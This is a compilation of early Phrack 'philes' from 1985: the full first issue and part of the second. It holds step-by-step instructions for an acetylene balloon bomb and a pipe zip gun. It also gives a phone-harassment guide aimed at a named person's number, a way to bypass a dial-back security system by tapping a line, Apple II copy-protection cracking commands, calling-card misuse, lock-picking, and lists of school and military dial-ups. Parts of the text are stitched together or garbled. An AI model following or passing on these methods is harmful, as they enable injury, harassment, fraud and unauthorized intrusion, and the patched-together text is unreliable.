1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

1

- Introduction... by Taran King

- Hacking SAM - A Description Of The Dial-Up Security System by Spitfire Hacker

- Boot Tracing Made Easy by Cheap Shades

- THE PHONE PHREAK'S FRY-UM GUIDE by Iron Soldier

- Using MCI Calling Cards by Knight Lightning

- How to Pick Master Locks by Ninja NYC

- Acetylene Balloon Bomb by The Clashmaster & Gin Fizz

- Schools and University Numbers by Phantom Phreaker

Introduction...

_ _

| \/ |

|_||_|etal/ /hop

_______

/_______

(314)432‑0756

24 Hours A Day, 300/1200 Baud

Presents....

==Phrack Inc.==

Volume One, Issue One, Phile 1 of 8

Introduction...

Welcome to the Phrack Inc. Philes. Basically, we are a group of phile writers who have combined our philes and are distributing them in a group. This newsletter‑type project is home‑based at Metal Shop. If you or your group are interested in writing philes for Phrack Inc. you, your group, your BBS, or any other credits will be included. These philes may include articles on telcom (phreaking/hacking), anarchy (guns and death & destruction) or kracking. Other topics will be allowed also to an certain extent. If you feel you have some material that's original, please call and we'll include it in the next issue possible. Also, you are welcomed to put up these philes on your BBS/AE/Catfur/ Etc. The philes will be regularly available on Metal Shop. If you wish to say in the philes that your BBS will also be sponsering Phrack Inc., please leave feedback to me, Taran King stating you'd like your BBS in the credits. Later on.

TARAN KING

2600 CLUB!

METAL SHOP SYSOP

This issue is Volume One, Issue One, released on November 17, 1985. Included are:

1 This Introduction to Phrack Inc. by Taran King

2 SAM Security Article by Spitfire Hacker

3 Boot Tracing on Apple by Cheap Shades

4 The Fone Phreak's Revenge by Iron Soldier

5 MCI International Cards by Knight Lightning

6 How to Pick Master Locks by Gin Fizz and Ninja NYC

7 How to Make an Acetylene Bomb by The Clashmaster

8 School/College Computer Dial‑Ups by Phantom Phreaker

Call Metal Shop and leave feedback saying the phile topic and where you got these philes to get your article in Phrack Inc.

Hacking SAM - A Description Of The Dial-Up Security System

_ _

| \/ |

|_||_|etal/ /hop

______

/______

(314)432‑0756

24 Hours A Day, 300/1200 Baud

Presents...

==Phrack Inc.==

Volume One, Issue One, Phile 2 of 8

::>Hacking SAM ‑ A Description Of The Dial‑Up Security System<:: ::>Written by Spitfire Hacker<::

SAM is a security system that is being used in many colleges today as a security feature against intrusion from the outside. This system utilizes a dial‑back routine which is very effective. To access the computer, you must first dial the port to which SAM is hooked up. The port for one such college is located at (818) 8852082. After you have called, SAM will answer the phone, but will make no other responses (no carrier signals). At this point, you must punch in a valid Login Identification Number on a push‑button phone. The number is in this format ‑‑ xxyyyy ‑‑ where xx is, for the number mentioned above, 70. 'yyyy' is the last 4 digits of the valid user's telephone number.

If a valid LIN is entered, SAM will give one of 3 responses: 1) A 1 second low tone

2) A 1 second alternating high/low tone

3) A tone burst

Responses 1 and 2 indicate that SAM has accepted your passcode and is waiting for you to hang up. After you hang up, it will dial the valid users phone number and wait for a second signal.

Response 3 indicates that all of the outgoing lines are busy.

If SAM accepts your passcode, you will have to tap into the valid users line and intercept SAM when it calls. If you do this, then hit the '*' key on your phone. SAM will respond with a standard carrier, and you are in!

That's all that I have hacked out so far, I will write more information on the subject later.

‑%>Spitfire Hacker<%‑

2600 Club!

Boot Tracing Made Easy

==Phrack Inc.==

Volume One, Issue One, Phile 3 of 8

////////////////////////////////////////

/

/ Boot Tracing Made Easy /

/ Written by /

/ _________

/ \Cheap/ \Shades/ /

/ \___/

/ 2600 CLUB! /

/

////////////////////////////////////////

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

\ \

\ Be sure to call \

\ \

\ Kleptic Palice......(314)527‑5551 \

\ 5 Meg BBS/AE/CF \

\ Metal Shop..........(314)432‑0756 \

\ Elite BBS (Home of 2600 CLUB! \

\ and Phrack Inc. ) \

\ \

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

About 3 or four years ago, a real good friend of mine was teaching a ML Programming course for the Apple 2 series. I, being a good friend and quite bored, asked him about cracking Apple games. He told me that he had spent the last summer cracking programs. He showed me a method that he came up with entirely on his own, boot tracing. Little did he know that this was already quite popular but he developed his own method for doing it which from reading other files about it, is the simplest I've ever seen. (To give you an idea, I had SN0GGLE (I've never played the game but a friend had it on disk.) completely loaded into memory ready to be dumped in about 12 minutes.) Ok, first of all, ALL programs can be boot traced. The only thing is that some may not be easily converted into files. The only programs that you should try if you aren't real good at ML, are ones that load completely into memory. Also to do this you will need a cassette recorder. (don't worry the program we will save won't take too long to save, and if all goes well it will only be saved loaded once.) I hate learning the theory behind anything so I'm not gonna give any theory behind this. If you want the theory, read some other phile that does this the hard way.

First make sure your cassette recoder works by BLOADing some program and typing:

CALL ‑151

AA60.AA73

You'll see something that looks like this:

AA60‑30 02 xx xx xx xx xx xx

AA68‑xx xx xx xx xx xx xx xx

AA70‑xx xx 00 08

or whatever...The 30 02 is the length ($0230 bytes). The 00 08 is the starting address ($0800). Oh well, now you need to try and save the program. Type: 800.A2FW (A2F=$800+$230‑1)

1000<800.A2FM

800:00 N 801<800.A2FM

800.A2FR

1000<800.A2FV

Once you are sure that the cassette works, (by the way do be stupid and try that on a //c!) we can get to the good stuff...

First move the ROM boot‑up code into RAM...(all steps will be from the monitor * prompt.)

8600<C600.C6FFM

86F9:5C FF

(Now load in step 1 of the boot.)

8600G

C0E8 (turn the drive off)

(Now you have successfully loaded in track 0 sector 0) Now since we won't want to overwrite what we've loaded in this time, Type:

8500<800.8FFM

86F9:01 85

8501L

Lets see what you've gotten...

First see if they move this part into the keyboard buffer. (A lot of programs do this and the boot trace files that I've read don't even deal with this.) LDX 00

LDA 800,X

STA 200,X

INX

BNE $803

JMP $211 (or any $2xx)

(sometimes done with Y's instead of X's.)

Then the next part will scramble what's in $08xx. but we don't have to worry about that. Anyways find that JMP $2xx and change it to 4C xx 85 leaving the xx the same. Usually this will be the next address but just to be safe... Ok, now scan the code for any other JMP's if you find one that's direct (indirect ones have the address in parenthesis) change it to 4C 5C FF, but write down the location that it used to jump to first so you know where to look. It'll probably be 301 or B700. If it's the B700, you got lucky. If it's the 301 then you've got some more work ahead. If it was an indirect JMP, most likely it was JMP ($003E). No if you change that to 4C 5C FF then check 3E from monitor you'll find that 3E is 00 and 3F is 3E...Monitor uses that place in zero page for its current memory location. So what you need to do is 8400:A5 3F 00 20 DA FD A5 3E 20 DA FD 4C 5C FF

then change that indirect jump to

85xx:4C 00 84

(by the way if the indirect jump is anything other than 3E then most likely you can can just look at it from monitor if not write a little routine like the one above to print out the address hidden. (Oh, check the location after the next run. For now change it to 4C 5C FF.))

Anyways this little game will probably go on no longer than 2 or 3 loads, each time just move the newly loaded part to another part of memory and change the jump to jump to monitor (4C 5C FF) and the jump from the part before it to go to the moved code.

When you find the part that JMP's up to a high area of memory (usually $B700) you're almost done. The exit routine of the will most likely be the start of the program. Once you intercept it there, all you have to do now is save it to cassette and re‑load DOS. The starting address for saving should be the address that the B700 routine exits through. If this is higher than $6000 then start saving at $2000 to get the Hi‑Res pictures. Using WXYZ as your starting address type:

WXYZ.9CFFW (This will have the main program.)

800.WXYZW (Save this are in case there is something needed down here we don't have to start over from scratch.)

Ok now reboot:

C600G (with a DOS disk in the drive!)

CALL ‑151

WXYZ.9CFFR

Bsave PROGRAM,A$WXYZ,L$(Whatever 9CFF‑WXYZ+1 is)

If the it gives you an error the file is too big. A quick DOS patch to fix that is:

A964:FF

and try again.

Now that the program is saved, try and run it. (It's a good idea to take the disk out of the drive, there's no telling what the program might try and do if it sees that DOS is loaded in.)

WXYZG

(If it works, just to make sure that it's a good crack, power down the system and try and BRUN it after a cold boot.)

If your saved the pictures with the program, most likely, it won't run. You need to add a JMP at 1FFD to JMP to the main program. Then re‑BSAVE it with a starting address of A$1FFD, and add 3 to the length. If the program tries to go to the drive while its running, I'd suggest giving up unless you really understand non‑DOS disk usage. (but if you did you probably wouldn't be reading this.) If you get a break at an address less than $2000 then you need to load in the second program that you saved to cassette. Put a jump in at $800 to the main program and save the whole damn thing. If it still don't work you're gonna need to really get fancy.

Now that you've got the thing running, it's time to figure out what is used and what is just wasted memory. This is where I really can't help you but just make sure that you keep a working copy and before every test power down the machine to clear anything that might be remaining.

Have phun and good luck.....

________________

\Cheap/ \Shades/

\___/ \____/

2600 CLUB!

Be sure and get a copy of PHRACK INC., available on finer BBS/AE's everywhere.

THE PHONE PHREAK'S FRY-UM GUIDE

_ _

| \/ |

|_||_|etal/ /hop

______

/______

(314)432‑0756

24 Hours A Day, 300/1200 Baud

Presents...

==Phrack Inc.==

Volume One, Issue One, Phile 4 of 8

THE PHONE PHREAK'S FRY‑UM GUIDE

COMPILED BY THE IRON SOLDIER

WITH HELP FROM DR. DOVE

NOTE: THIS GUIDE IS STILL BEING COMPILED, AND AS PHONE PHREAKS LEARN MORE IN THE ART OF VENGENCE IT WILL ALWAYS EXPAND.

"Vengence is mine", says the Phreak.

METHOD 1‑PHONE LINE PHUN

Call up the business office. It should be listed at the front of the white pages. Say you wanted to diconnect Scott Korman's line. DIAL 800‑xxx‑xxxx. "Hello, this is Mr. Korman, I'm moving to California and would like to have my phone service disconnected. I'm at the airport now. I'm calling from a payphone, my number is [414] 445 5005. You can send my final bill to :(somewhere in California. Thank you."

METHOD 2‑PHONE BOOKS

Call up the business office from a pay phone. Say "Hello, I'd like to order a Phone Book for Upper Volta (or any out‑of‑the way area with Direct Dialing). This is Scott Korman, ship to 3119 N. 44th St. Milwaukee, WI 53216. Yes, I under stand it will cost $xx($25‑$75!!). Thank you."

METHOD 3‑PHONE CALLS

Call up a PBX, enter the code and get an outside line. Then dial 0+ the number desired to call. You will hear a bonk and then an operator. Say, "I'd like to charge this to my home phone at 414‑445‑5005. Thank you." A friend and I did this to a loser, I called him at 1:00 AM and we left the fone off the hook all night. I calculated that it cost him $168.

METHOD 4‑MISC SERVICES

Call up the business office once again from a payfone. Say you'd like call waiting, forwarding, 3 way, etc. Once again you are the famed loser Scott Korman. He pays‑you laugh. You don't know how funny it was talking to him, and wondering what those clicks he kept hearing were.

METHOD 5‑CHANGED & UNPUB

Do the same as in 4, but say you'd like to change and unlist your (Scott's) number. Anyone calling him will get:

"BEW BEW BEEP. The number you have reached, 445‑5005, has been changed to a non‑published number. No further....."

METHOD 6‑FORWRDING

This required an accomplise or two or three. Around Christmas time, go to Toys 'R' Us. Get everyone at the customer service or manager's desk away ("Hey, could you help me"). then you get on their phone and dial (usually dial 9 first) and the business office again. This time, say you are from Toys 'R' Us, and you'd like to add call forwarding to 445‑5005. Scott will get 100‑600 calls a day!!!

METHOD 7‑RUSSIAN CALLER

Call a payphone at 10:00 PM. Say to the operator that you'd like to book a call to Russia. Say you are calling from a payphone, and your number is that of the loser to fry (e.g. 445‑5005). She will say that she'll have to call ya back in 5 hours, and you ok that. Meanwhile the loser (e.g.) Scott, will get a call at 3:00 AM from an operator saying that the call he booked to Russia is ready.

IF YOU HAVE ANY QUESTIONS LEAVE E‑MAIL FOR ME ON ANY BOARD I'M ON. The Iron Soldier

TSF‑The Second Foundation!

Using MCI Calling Cards

_ _

| \/ |

|_||_|etal/ /hop

______

/______

(314)432‑0756

24 Hours A Day, 300/1200 Baud

Presents...

==Phrack Inc.==

Volume One, Issue One, Phile 5 of 8

Using MCI Calling Cards

by

Knight Lightning

of the

2600 Club!

How to dial international calls on MCI:

"Its easy to use MCI for international calling."

1. Dial your MCI access number and authorization code (code = 14 digit number, however the first 10 digits are the card holders NPA+PRE+SUFF).

2. Dial 011

3. Dial the country code

4. Dial the city code and the PRE+SUFF that you want.

Countries served by MCI:

Country code|Country code

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

Algeria............................213 |New Zealand........................64 Argentina..........................54 |Northern Ireland...................44

Australia..........................61 |Oman...............................968

Belgium............................32 |Papua New Guinea...................675

Brazil.............................55 |Qatar..............................974

Canada..................Use Area Codes |Saudi Arabia.......................966 Cyprus.............................357 |Scotland...........................44 Denmark............................45 |Senegal............................221

Egypt..............................20 |South Africa.......................27

England............................44 |Sri Lanka..........................94 German Democratic Republic |Sweden.............................46 (East Germany).....................37 |Taiwan.............................886 Greece.............................30 |Tanzania...........................255 Jordan.............................962 |Tunisa.............................216

Kenya..............................254 |United Arab Emirates...............971

Kuwait.............................965 |Wales..............................44

Malawi.............................265 |

========================================

Thats 33 countries in all. To get the extender for these calls dial 950‑1022 or 1‑800‑624‑1022.

For local calling:

1. Dial 950‑1022 or 1‑800‑624‑1022

2. Wait for tone

3. Dial "0", the area code, the phone number, and the 14 digit authorization code. You will hear 2 more tones that let you know you are connected.

‑ Knight Lightning ‑‑> The 2600 Club!

========================================

How to Pick Master Locks

_ _

| \/ |

|_||_|etal/ /hop

______

/______

(314)432‑0756

24 Hours A Day, 300/1200 Baud

Presents...

==Phrack Inc.==

Volume One, Issue One, Phile 6 of 8

How to Pick Master Locks By Gin Fizz & Ninja NYC

Have you ever tried to impress your friends by picking one of those Master combination locks and failed? Well then read on. The Master lock company has made this kind of lock with a protection scheme. If you pull the handle of it hard, the knob won't turn. That was their biggest mistake...... Ok, now on to it.

1st number. Get out any of the Master locks so you know what's going on. 1: The handle part (the part that springs open when you get the combination), pull on it, but not enough so that the knob won't move. 2: While pulling on it turn the knob to the left until it won't move any more. Then add 5 to this number. Congradulations, you now have the 1st number.

2nd number. (a lot tougher) Ok, spin the dial around a couple of times, then go to the 1st number you got, then turn it to the right, bypassing the 1st number once. WHEN you have bypassed. Start pulling the handle and turning it. It will eventually fall into the groove and lock. While in the groove pull on it and turn the knob. If it is loose go to the next groove; if it's stiff you got the second number.

3rd number: After getting the 2nd, spin the dial, then enter the 2 numbers, then after the 2nd, go to the right and at all the numbers pull on it. The lock will eventually open if you did it right. If can't do it the first time, be patient, it takes time.

Have phun...

Gin Fizz/2600 Club!/TPM

Ninja NYC/TPM

Acetylene Balloon Bomb

_ _

| \/ |

|_||_|etal/ /hop

______

/______

(314)432‑0756

24 Hours A Day, 300/1200 Baud

Presents...

==Phrack Inc.==

Volume One, Issue One, Phile 7 of 8

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

! ///////

! //

! // h e C l a s h m a s t e r ' s !

! .=======================

! < A C E T Y L E N E > ! ! < ‑>B A L L O O N<‑ > ! ! < ‑‑‑‑>B O M B<‑‑‑‑ > !

! `========================

! Written exclusively for... ! ! The Phrack Inc. ! ! 2600 Club ! ! Newsletter 11/01/85!

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Imagine this. A great, inflated, green garbage bag slowly wafting down from a tall building. It gains some speed as it nears the ground. People look up and say, "What the....?" The garbage bag hits! *BOOM!!!* It explodes in a thundering fireball of green bits of plastic and flame! "What is this?" you may ask. Well, this is the great "Acetylene Balloon Bomb." And here is how to make it.

Ingredients:

============

(1> For a small bomb: a plastic bag. Not too big. For something big(ger): a green, plastic garbage bag.

(2> Some "Fun‑Snaps". A dozen should be more than enough.

(3> Some garbage bag twisties. String would also do.

(4> A few rocks. Not too heavy, but depends on size of bomb and desired velocity of balloon/bomb.

(5> PRIME INGREDIENT: Acetylene. This is what is used in acetylene torches. More on this substance later.

(6> One or more eager Anarchists.

NOTES:

======

Acetylene is a fairly dangerous substance. It is unstable upon contact with oxygen (air). For this reason, and for your safety, I recommend you keep all of the acetylene AWAY from any source of oxygen. This means don't let it get in touch with air.

Construction:

=============

(1> Fill up a bathtub with cold water. Make it VERY full. (2> Now get put you garbage bag in the water and fill it with water. Make sure ALL air/oxygen is out of the bag before proceeding.

(3> Now take your acetylene source (I used it straight from the torch, and I recommend this way also.), and fill the bag up with acetylene.

(4> Now, being careful with the acetylene, take the bag out of the tub and tie the opening shut with the twisty or string. Let the balloon dry off now. (Put it in a safe place.)

(5> Okay. Now that it is dry and filled with acetlene, open it up and drop a few rocks in there. Also add some Fun‑Snaps. The rocks will carry the balloon down, and the Fun‑Snaps will spark upon impact, thus setting off the highly inflammable acetylene. *BABOOM!*

(6> Now put the twisty or string back on VERY tightly. You now have a delicate but powerful balloon bomb.

To use:

=======

Just drop off of a cliff, airplane, building, or whatever. It will hit the ground a explode in a fireball. Be careful you are not near the explosion site. And be careful you are not directly above the blast or the fireball may rise and give you a few nasty burns.

Have fun!

But be careful...

NOTE: I, The Clashmaster, am in NO WAY responsible for the use ===== of this information in any way. This is for purely informational purposes only!

This has been a 2600 Club production.

‑=*Clash*=2600 Club

Schools and University Numbers

_ _ _______

| \/ | / _____/

|_||_|etal/ /hop _________/ / /__________/ (314)432‑0756 24 Hours A Day, 300/1200 Baud

Presents...

==Phrack Inc.== Volume One, Issue One, Phile 8 of 8

Schools and University Numbers

``````````````````````````````

Harvard University 617‑732‑1251 Yale 203‑436‑2111 District 214 312‑398‑8170 Chicago Board of Education 312‑254‑1919 Spence Schools 212‑369‑5114 University of Texas 214‑688‑1400 University of Missouri 314‑341‑2776 314‑341‑2910 (1200) 314‑341‑2141 Cal‑Tech 213‑687‑4662 University of Nevada 402‑472‑5065 Princeton University 609‑452‑6736 Stony Brook University 516‑246‑9000 Depaul 312‑939‑8388 University of San Diego 619‑452‑6792 RPI School 518‑220‑6603 William State University 313‑577‑0260 Harvard 617‑732‑1802 Stockton 209‑944‑4523 Northwestern 312‑492‑3094 Circle Campus 312‑996‑5100 312‑996‑6320 University of Mexico 505‑588‑3351 University of Florida 904‑644‑2261 Queens College 212‑520‑7719 University of Denver 303‑753‑2737 303‑753‑2733 University of Syracuse 315‑423‑1313 University of Illinois 312‑996‑5100 University of Virginia 703‑328‑8086 MIT Research 1‑800‑545‑0085 St.Louis Community College 314‑645‑1289 SIUE 618‑692‑2400 618‑692‑2401 618‑692‑2402 618‑692‑2403 618‑692‑2404 618‑692‑2405 618‑692‑2406 618‑692‑2407 618‑692‑2408 Universiti‑‑‑‑‑‑‑ 215‑787‑1011 Willaim ‑‑‑‑‑‑‑‑ 313‑577‑0260 University of Florida 904‑392‑5533 Col & Union College 301‑279‑0632 Georgia State 404‑568‑2131 University of Mass. 413‑545‑1600 Purdue 317‑494‑1900 Northwestern 312‑492‑7110 University of New Mexico 505‑227‑3351 University of Texas 214‑688‑1400 Temple University 215‑787‑1010 Melville High School 516‑751‑6806 UCSD 619‑452‑6900 Oakland Schools 313‑857‑9500 University of Maryland 301‑454‑6111 California St. Fulerton 714‑773‑3111 N.Y.U. 212‑777‑7600 University of San Diego 619‑293‑4510 University of Colorado 303‑447‑2540 University of Colorado 303‑447‑2538 MIT Research 617‑258‑6001 Dartmouth College 603‑643‑63q0 Spence School 212‑369‑5114 University of Washington 206‑543‑9713 University of Washington 206‑543‑9714 University of Washington 206‑543‑9715 University of Washington 206‑543‑9716 University of Washington 206‑543‑9717 University of NC 919‑549‑0881 Harvard‑Law,Busi,Med Sch. 617‑732‑1251 Virginia University 703‑328‑8086 WVU 304‑293‑2921 thru 304‑293‑2939 WVU 304‑293‑4300 thru 304‑293‑4309 WVU(1200)304‑293‑4701 thru 304‑293‑4708 WVU(1200)304‑293‑5591 thru 304‑293‑5594 WVU(134.5 bps) 304‑293‑3601 WVU(134.5 bps) 304‑293‑3602 Lake Wash. School 206‑828‑3499 University of San Diego 619‑452‑6792 RPL School 518‑220‑6603 Another School 212‑369‑5114 Harvard 617‑732‑1251 Harvard 617‑732‑1802 William State University 313‑577‑0260 Florida University 904‑644‑2261 Wayne State 313‑577‑0260 U of F 904‑644‑2261 High School 513‑644‑3840

```````````````````````````````````````

File provided by the Alliance 6 1 8 ‑ 6 6 7 ‑ 3 8 2 5 7 p m ‑ 7 a m

Uploaded by Phantom Phreaker

2

- Phrack Inc. Index by Taran King

- Prevention of the Billing Office Blues by Forest Ranger

- Homemade Guns by Man-Tooth

- Blowguns by The Pyro

- Tac Dialups taken from Arpanet by Phantom Phreaker

- Universal Informational Services via ISDN by Taran King

- MCI Overview by Knight Lightning

- Hacking RSTS by Data Line

- Phreak World News by Knight Lightning

Phrack Inc. Index

==Phrack Inc.==

Volume One, Issue Two, Phile 1 of 9

Phrack Index

~~~~~~

This issue of Phrack Inc. is rather lengthy file‑wise compared to issue one. Phrack Inc. can be found on the following boards regularly:

Broadway Show 718‑615‑0580 Newsweek Elite 617‑341‑2535 Kleptic Palace AE/Catfur 314‑527‑5551 Metal Shop Private Request only Metal Shop AE Request only

...as well as many other BBS's and AE's around the country. Be on the lookout for issue three. If you wish to submit an article, get in touch with any member of Metal Shop Private and have a message transmitted to me. Later on.

TARAN KING

This issue of Phrack Inc. includes the following philes:

1 Phrack Inc. Index ‑ Taran King

2 Prevention of the Billing Office Blues ‑ Forest Ranger 3 Homemade Guns ‑ Man‑Tooth

4 Blowguns ‑ The Pyro

5 Tac Dialups taken from Arpanet ‑ Phantom Phreak 6 Universal Informational Services via ISDN ‑ Taran King 7 MCI Overview ‑ Knight Lightning

8 Hacking RSTS ‑ Data Line

9 Phreak World News ‑ Knight Lightning

Prevention of the Billing Office Blues

==Phrack Inc.==

Volume One, Issue Two, Phile 2 of 9

Prevention of the Billing Office Blues Editorial: Forest Ranger

In an earlier article there were ways explained on bullshiting the Billing Office at Bell. By doing so one could disconnect a persons line, add call forwarding, call waiting, threeway calling, speed calling, or other options that might be available through Bell. Well, this can be very disturbing and cause many problems so lets see how this can be prevented. First off, it would be a very good idea to call the Billing office for your exchange and ask that all inquires made on the your line be verified with you. Is what happens now is that Bell marks down in your file that if you decide that you would like a certain Bell option added to your line; they will call and check it out with you or the person that pays the phone bill. So if someone tries to add something onto your line you will be notified before hand. This has two advantages, one you will prevent any occurences on your line, two you will know that someone is attempting to mess around with your phone line. But, in the end you will come out on top because you took the time to listen. And as Smokey the Bear says, "Don't Shit in the woods I LIVE HERE!".

Homemade Guns

==Phrack Inc.==

Volume One, Issue Two, Phile 3 of 9

::::::::::::::::::::

::::::::::::::::::::

@@@@ ‑‑] Man‑Tooth [‑‑ @@@@

@@@@ presents... @@@@

@@@@::::::::::::::::

@@@@ ‑‑ HOMEMADE GUNS ‑‑ @@@@

@@@@::::::::::::::::

@@@@ from @@@@

@@@@ "The Poor Man's James Bond" @@@@

@@@@ by Kurt Saxon @@@@

::::::::::::::::::::

::::::::::::::::::::

PIPE OR "ZIP" GUNS ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Commonly known as "zip" guns, guns made from pipe have been used for years by juvenile punks. Today's Militants make them just for the hell of it or to shoot once in an assassination or riot and throw away if there is any danger of apprehension.

They can be used many times but with some, a length of dowel is needed to force out the spent shell.

There are many variations but the illustration shows the basic design.

First, a wooden stock is made and a groove is cut for the barrel to rest in. The barrel is then taped securely to the stock with a good, strong tape.

The trigger is made from galvanized tin. A slot is punched in the trigger flap to hold a roofing, which is wired or soldered onto the flap. The trigger is bent and nailed to the stock on both sides.

The pipe is a short length of one‑quarter inch steel gas or water pipe with a bore that fits in a cartridge, yet keeps the cartridge rim from passing through the pipe.

The cartridge is put in the pipe and the cap, with a hole bored through it, is screwed on. Then the trigger is slowly released to let the nail pass through the hole and rest on the primer.

To fire, the trigger is pulled back with the left hand and held back with the thumb of the right hand. The gun is then aimed and the thumb releases the trigger and the thing actually fires.

Pipes of different lengths and diameters are found in any hardware store. All caliber bullets, from the .22 to the .45 are used in such guns.

Some zip guns are made from two or three pipes nested within each other. For instance, a .22 shell will fit snugly into a length of a car's copper gas line. Unfortunatey, the copper is too weak to withstand the pressure of the firing. So the length of gas line is spread with glue and pushed into a wider length of pipe. This is spread with glue and pushed into a length of steel pipe with threads and a cap.

Using this method, you can accomodate any cartridge, even a rifle shell. The first size of pipe for a rifle shell accomodates the bullet. The second accomodates its wider powder chamber.

A 12‑gauge shotgun can be made from a 3/4 inch steel pipe. If you want to comply with the gun laws, the barrel should be at least eighteen inches long.

Its firing mechanism is the same as that for the pistol. It naturally has a longer stock and its handle is lengthened into a rifle butt. Also, a small nail is driven half way into each side of the stock about four inches in the front of the trigger. The rubber band is put over one nail and brought around the trigger and snagged over the other nail.

In case you actually make a zip gun, you should test it before firing it by hand. This is done by first tying the gun to a tree or post, pointed to where it will do no damage. Then a string is tied to the trigger and you go off several yards. The string is then pulled back and let go. If the barrel does not blow up, the gun is safe to fire by hand.

You should not attempt to register such a gun.

Pipe Cap

/

/ Bullet Tape Pipe

/ /

v / / \ /

!‑‑‑‑! / v v v

Nail‑‑\ / /‑!‑‑‑v‑‑‑‑‑!‑‑‑!‑!‑‑‑!‑‑‑‑‑‑‑‑‑

v ‑‑‑ ‑ ‑ ‑ ‑ ‑ ‑!‑ ‑!‑!‑ ‑!‑ ‑ ‑ ‑ !

//‑‑‑‑> ![][]\

^ ! !‑‑\ ![][]/

Wire/ ! ! \‑!‑ ‑ ‑ ‑ ‑!‑ ‑!‑!‑ ‑!‑ ‑ ‑ ‑

Trigger‑‑‑> ! ! !‑‑‑! ! ! ! ! :

/! ! /‑‑‑‑‑‑‑‑

/ ::::::::::::::::::

! !‑! / Rubber

/ / band

! !

! /

! !

! !

! !

!‑‑‑‑‑‑!

Z I P G U N

Nail

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\ o!‑‑‑‑‑\

! O O O ! ! ‑‑‑‑‑‑‑‑‑‑‑‑‑ !

\‑‑‑‑‑‑‑‑! !‑‑‑‑‑‑‑/

!‑!

Trigger before bending /‑‑> !! !! <‑‑\

Place !! !! Nail

nail hole

here

Trigger

Blowguns

==Phrack Inc.==

Volume One, Issue Two, Phile 4 of 9

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑

! How To Make Blow Darts !

!

! Written by The Pyro !

!

!

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Blow darts are easy to make and all the materials can be found in your own home. These darts can travel a long distance with good penetration if constructed correctly.

Materials needed:

A small piece of wood

A sewing machine needle

A spool of thread

A couple nails

Hammer

Glue

Scissors

Hammer the two nails about two inches apart on the board. Wrap the thread tightly around the two nails. The number of times the thread is wrapped around the nails will determine the amount of weight and stability the dart has. Once you have decided you have wrapped enough thread, cut it close to the nail at around a half inch. Take this small tuft of thread and put a dab of glue on the folded end. The kind of glue you use is very important. I suggest that you use a tacky kind of glue (nothing runny, like Elmer's glue). Attach this to the needle and hold until it is dry.

Another kind of dart can be made with Q‑tips. This kind of dart doesn't work as well as the first one, but it is sometimes easier to make. first you have to get the kind of Q‑tips that have a plastic stem. Cut the Q‑tip close to one end. Insert the sewing needle into the Q‑tip and secure it by melting the plastic slightly with a lighter. This kind of dart doesn't last long because the cotton come off easily.

Blow Guns:

Ordinary straws make an excellent blow gun with this kind of dart. Another kind can be made with a cheap pen by taking apart the pen and using the shell. Any long, cylindrical, object with the diameter of a straw will work very well.

T h e A l l i a n c e

618‑667‑3825

7pm. to 7am.

(>

========================================

Received: (from UNKNOWN@HACKERVILLE for HATCHET@VALHALLA via XTC) (UNKNOWN‑0481; 185 LINES); Tun, 07 Oct 88 21:12:54 CDT Date: Tun, 07 Oct 88 21:12 CDT

To: HATCHET

From: UNKNOWN@HACKERVILLE

Comment: converted from FBICIADATA format at 666

Tac Dialups taken from Arpanet

==Phrack Inc.==

Volume One, Issue Two, Phile 5 of 9

Updated from November 26, 1985 Tac Dialups taken from Arpanet

by Phantom Phreaker

TAC DIALUPS SORTED BY LOCATION 26‑NOV‑85

State/Country 300 Baud 1200 Baud 1200 Type

‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ALABAMA

Anniston Army Depot [M]

(ANNIS‑MIL‑TAC) (205) 235‑6285 (R4) (205) 235‑7650 B/V (205) 237‑5731 (R8) (205) 237‑5731 (R8) B/V (205) 237‑5770 (R8) (205) 237‑5779 (R8) B/V (205) 237‑5805 (R8) (205) 237‑5805 (R8) B/V

*Please note: When accessing the Anniston TAC you must first enter a <RETURN>, then enter DDN <RETURN>. After you receive CLASS DDN START, proceed as normal.

Gunter AFS [M]

(GUNTER‑TAC) (205) 279‑3576

(205) 279‑4682

Redstone Arsenal [M]

(MICOM‑TAC) [none known]

ARIZONA

Ft. Huachuca [M]

(HUAC‑MIL‑TAC) [none known]

Yuma [M]

(YUMA‑TAC) (602) 328‑2186 (602) 328‑2186 B/V (602) 328‑2187 (602) 328‑2187 B/V (602) 328‑2188 (602) 328‑2188 B/V

CALIFORNIA (NORTHERN)

Alameda [M]

(ALAMEDA‑MIL‑TAC) [none known]

Menlo Park [M]

(SRI‑MIL‑TAC) (415) 327‑5440 (R3) (415) 327‑5440 (R3) B

(USGS3‑TAC) [M] [no dialups]

Moffett Field [M]

(AMES‑TAC) [no dialups; contact NSC for access] William Jones ‑ (415) 694‑6482

(FTS) 494‑6482

(AV) 359‑6482

Monterey [M]

(NPS‑TAC) [none known]

Sacsamento [M]

(MCCLELLAN1‑MIL‑TAC) [none known]

(MCCLELLAN2‑MIL‑TAC) [none known]

Stanford [A]

(SU‑TAC) (415) 327‑5220

CALIFORNIA (SOUTHERN)

China Lake [M]

(NWC‑TAC) [none known]

Edwards AFB [M]

(EDWARD‑MIL‑TAC) [none known]

El Segundo [M]

(AFSC‑SD‑TAC) (213) 643‑9204 (213) 643‑9204 B/V

Los Angeles [A]

(USC‑TAC) (213) 749‑5436

Los Angeles [A]

(USC‑ARPA‑TAC) [none known]

San Diego [M]

(ACCAT‑TAC) (619) 225‑1641 (R4) (619) 225‑6903 V (619) 225‑6946 (R3)

